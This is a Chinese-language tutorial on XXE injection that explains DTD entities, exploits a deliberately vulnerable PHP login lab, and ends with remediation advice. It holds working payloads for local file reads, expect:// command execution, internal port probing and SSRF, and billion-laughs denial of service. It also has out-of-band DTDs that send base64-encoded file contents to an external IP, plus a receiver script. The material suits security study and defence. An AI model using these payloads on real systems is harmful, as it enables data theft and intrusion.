一.漏洞介紹
Xml外部實體注入漏洞(XML External Entity Injection)簡稱XXE,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網探測和攻擊,發起dos攻擊等危害。
XML外部實體注入攻擊漏洞是在對非安全的外部實體數據進⾏行處理時引發的安全問題,觸發的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可上傳惡意xml文件,造成攻擊危害。
二.XML基礎知識
XML全稱可擴展標記語言。用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
文檔類型定義(DTD)可定義合法的XML文檔構建模塊。它使用一系列合法的元素來定義文檔的結構。DTD可被成行地聲明於XML文檔中,也可作為一個外部引用。
**內部聲明DTD**
<!DOCTYPE 根元素 [元素聲明]>
**引用外部DTD**
<!DOCTYPE 根元素 SYSTEM "文件名">
帶有dtd
的XML文檔實例:
<?xml version="1.0"?>
<!DOCTYPE note[ <!--定義此文檔是 note 類型的文檔-->
<!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素-->
<!ELEMENT to (#PCDATA)> <!--定義to元素為”#PCDATA”類型-->
<!ELEMENT from (#PCDATA)> <!--定義from元素為”#PCDATA”類型-->
<!ELEMENT head (#PCDATA)> <!--定義head元素為”#PCDATA”類型-->
<!ELEMENT body (#PCDATA)> <!--定義body元素為”#PCDATA”類型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
DTD中普通實體和參數實體:
普通實體:DTD中定義,XML中使用,使用格式: &名;
參數實體:DTD中定義,定義的時候要用%,DTD中使用,使用格式: %名;
(普通實體和參數實體都分為內部實體和外部實體兩種,外部實體定義需要加上 SYSTEM關鍵字,其內容是URL所指向的外部文件實際的內容。如果不加SYSTEM關鍵字,則為內部實體,表示實體指代內容為字符串。)
三.xxe的利用方式
1.文件讀取
- 有回顯的
①內部引用實體
元素約束Any指元素可以包含任何數據,包含文本數據和子元素
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>
②外部引用實體
通過XML引用外面的惡意DTD文件來造成XXE漏洞,% xxe定義參數實體,%xxe在dtd中引用參數實體
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/123.dtd" >
%xxe;
]>
<foo>&b;</foo>
隨后在10.6.23.15服務器中寫入1.dtd文件
<!ENTITY b SYSTEM "file:///etc/passwd">
- 無回顯的
用外帶數據通道提取數據,如將提取的數據發送到外部的http服務器上,后面查看http服務器即可查看到提取的數據內容
1.使用使用php://filter獲取目標文件的內容,然后將數據內容為參數值請求外部的http服務器,隨后查看http服務器日志就能查看到提取的數據
( php://filter是php只讀流,以base64編碼的方式讀取target.php)
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/1.dtd">
%dtd;
%send;
]>
1.dtd的內容,注意內部的%號要進行實體編碼成%;
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;
隨后訪問接受數據的服務器中的日志信息,可以看到經過base64編碼過的數據,解碼后便可以得到數據
2.其他利用姿勢
①讀取任意文件(注:讀取網站源碼要經過編碼)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
②執行系統命令(注:這種情況非常少,在安裝expect擴展的PHP環境可以里執行系統命令,其他協議也有可能可以執行系統命令,存在環境限制)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
③探測內網端口(注:要根據響應時間和報文長度判斷端口是否開啟,如:當端口關閉時連接會報錯)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>
④.攻擊內網網站(ssrf)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>
⑤netdoc協議讀取文件(java)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY>
<!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini">
]>
<creds>&xxe;</creds>
⑥dos拒絕服務(利用迭代參數實體進行拒絕服務,如果解析過程變得非常緩慢則代表測試成功)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
]>
<lolz>&lol6;</lolz>
四.利用實例
靶場核心代碼如下:
<?php
$USERNAME = 'admin'; //賬號
$PASSWORD = 'admin'; //密碼
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
當輸入錯誤用戶名和密碼的時候,服務端就會返回用戶名並提示登錄錯誤
利用方式1:讀取文件
利用方式2:讀取網站源碼
將字段字符base64解碼后就是網站的源碼
以上是存在回顯的利用,輸入的參數會在服務端中返回,那么當參數不回顯時怎么利用呢?
修改代碼,讓輸入的參數不返回在服務端
當用戶名錯誤和密碼錯誤服務端直接返回登錄成功和登錄失敗,不把輸入的參數回顯出來。這樣即使存在XXE漏洞,我們直接構造讀取文件的payload,由於數據不回顯,我們也無法獲取到讀取的數據內容。
無回顯只是不能獲取數據內容,但實則攻擊載荷還是會執行。所以可以利用ssrf快速的判斷是否存在xxe漏洞(前提是服務器出網):
使用dnslog平台,利用xxe漏洞讓服務器訪問dnslog,如果存在訪問記錄就代表漏洞利用成功
那么如何獲取數據內容呢?
利用方式1: 外部搭建http服務器,將讀取的內容當作請求參數訪問外部的Http服務器,查看http服務器的訪問記錄就能獲取文件內容
利用ceye平台接收http請求
1.dtd內容如下:
注意1.dtd中內部的%要進行unicode編碼
隨后查看請求記錄,將data參數值base64解碼開就能看到文件內容
利用方式2: 搭建服務器,接收讀取的內容
搭建1.php,接收請求參數並寫入文件
<?php
file_put_contents('xxe.txt', $_GET['xxe']);
?>
外部1.dtd實體內容(注意:實體內部中引用參數實體,%要進行Unicode編碼):
訪問外部的1.php,並將讀取的win.ini文件內容作為參數值賦值給參數xxe
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=C:/windows/win.ini">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://119.23.104.162/1.php?xxe=%payload;'>"> %int; %trick;
在dtd中引用1.dtd
隨后讀取的內容會以base64編碼后存儲在xxe.txt文件中
默認支持的協議:
五.修復建議
- 1.使用開發語言提供的禁用外部實體的方法:
//php:
libxml_disable_entity_loader(true);
//java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
//Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 2.過濾用戶提交的XML數據:
過濾關鍵字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
- 3: 不允許XML中含有自己定義的DTD
參考鏈接:
https://www.freebuf.com/articles/web/97833.html
https://www.cnblogs.com/bmjoker/p/9452349.html